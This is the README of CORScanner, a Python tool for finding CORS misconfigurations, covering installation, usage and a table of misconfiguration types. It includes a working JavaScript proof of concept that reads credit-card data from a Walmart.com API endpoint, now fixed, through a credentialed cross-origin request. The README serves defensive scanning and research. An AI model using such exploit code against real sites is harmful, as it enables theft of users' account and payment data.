## About CORScanner
CORScanner is a python tool designed to discover CORS misconfigurations vulnerabilities of websites. It helps website administrators and penetration testers to check whether the domains/urls they are targeting have insecure CORS policies.
### Features
* **Fast**. It uses [gevent](https://github.com/gevent/gevent) instead of Python threads for concurrency, which is much faster for network scanning.
* **Comprehensive**. It covers all [the common types of CORS misconfigurations](#misconfiguration-types) we know.
* **Flexible**. It supports various self-define features (e.g. file output), which is helpful for large-scale scanning.
Two useful references for understanding CORS systematically:
* USENIX security 18 paper: [We Still Don’t Have Secure Cross-Domain Requests: an Empirical Study of CORS](https://www.jianjunchen.com/publication/an-empirical-study-of-cors/)
* 中文详解:[绕过浏览器SOP,跨站窃取信息:CORS配置安全漏洞报告及最佳部署实践](https://www.jianjunchen.com/post/cors%E5%AE%89%E5%85%A8%E9%83%A8%E7%BD%B2%E6%9C%80%E4%BD%B3%E5%AE%9E%E8%B7%B5/)
## Screenshots

## Installation
- Download this tool
```
git clone https://github.com/chenjj/CORScanner.git
```
- Install dependencies
```
sudo pip install -r requirements.txt
```
CORScanner depends on the `requests`, `gevent`, `tldextract`, `colorama` and `argparse` python modules.
## Python Version:
* Both Python 2 (**2.7.x**) and Python 3 (**3.7.x**) are supported.
## Usage
Short Form | Long Form | Description
------------- | ------------- |-------------
-u | --url | URL/domain to check it's CORS policy
-d | --headers | Add headers to the request
-i | --input | URL/domain list file to check their CORS policy
-t | --threads | Number of threads to use for CORS scan
-o | --output | Save the results to json file
-v | --verbose | Enable the verbose mode and display results in realtime
-h | --help | show the help message and exit
### Examples
* To check CORS misconfigurations of specific domain:
``python cors_scan.py -u example.com``
* To enable more debug info, use -vvv:
``python cors_scan.py -u example.com -vvv``
* To check CORS misconfigurations of specific URL:
``python cors_scan.py -u http://example.com/restapi``
* To check CORS misconfiguration with specific headers:
``python cors_scan.py -u example.com -d "Cookie: test"``
* To check CORS misconfigurations of multiple domains/URLs:
``python cors_scan.py -i top_100_domains.txt -t 100``
* To list all the basic options and switches use -h switch:
```python cors_scan.py -h```
## Misconfiguration types
This tool covers the following misconfiguration types:
Misconfiguration type | Description
------------------------ | --------------------------
Reflect_any_origin | Blindly reflect the Origin header value in `Access-Control-Allow-Origin headers` in responses, which means any website can read its secrets by sending cross-orign requests.
Prefix_match | `wwww.example.com` trusts `example.com.evil.com`, which is an attacker's domain.
Suffix_match | `wwww.example.com` trusts `evilexample.com`, which could be registered by an attacker.
Not_escape_dot | `wwww.example.com` trusts `wwwaexample.com`, which could be registered by an attacker.
Substring match | `wwww.example.com` trusts `example.co`, which could be registered by an attacker.
Trust_null | `wwww.example.com` trusts `null`, which can be forged by iframe sandbox scripts
HTTPS_trust_HTTP | Risky trust dependency, a MITM attacker may steal HTTPS site secrets
Trust_any_subdomain | Risky trust dependency, a subdomain XSS may steal its secrets
Custom_third_parties | Custom unsafe third parties origins like `github.io`, see more in [origins.json](./origins.json) file. Thanks [@phackt](https://github.com/phackt)!
Special_characters_bypass| Exploiting browsers’ handling of special characters. Most can only work in Safari except `_`, which can also work in Chrome and Firefox. See more in [Advanced CORS Exploitation Techniques](https://www.corben.io/advanced-cors-techniques/). Thanks [@Malayke](https://github.com/Malayke).
Welcome to contribute more.
## Exploitation examples
Here is an example about how to exploit "Reflect_any_origin" misconfiguration on Walmart.com(fixed). Localhost is the malicious website in the video.
Walmart.com video on Youtube:
[](http://www.youtube.com/watch?v=3abaevsSHXY)
Here is the exploitation code:
```javascript
<script>
// Send a cross origin request to the walmart.com server, when a victim visits the page.
var req = new XMLHttpRequest();
req.open('GET',"https://www.walmart.com/account/electrode/account/api/customer/:CID/credit-card",true);
req.onload = stealData;
req.withCredentials = true;
req.send();
function stealData(){
//reading response is allowed because of the CORS misconfiguration.
var data= JSON.stringify(JSON.parse(this.responseText),null,2);
//display the data on the page. A real attacker can send the data to his server.
output(data);
}
function output(inp) {
document.body.appendChild(document.createElement('pre')).innerHTML = inp;
}
</script>
```
If you have understood how the demo works, you can read Section 5 and Section 6 of the [CORS paper](https://www.jianjunchen.com/publication/an-empirical-study-of-cors/) and know how to exploit other misconfigurations.
## License
CORScanner is licensed under the MIT license. take a look at the [LICENSE](./LICENSE) for more information.
## Credits
This work is inspired by the following excellent researches:
* James Kettle, “Exploiting CORS misconfigurations for Bitcoins and bounties”, AppSecUSA 2016*
* Evan Johnson, “Misconfigured CORS and why web appsec is not getting easier”, AppSecUSA 2016*
* Von Jens Müller, "CORS misconfigurations on a large scale", [CORStest](https://github.com/RUB-NDS/CORStest)*
## Version
**Current version is 1.0**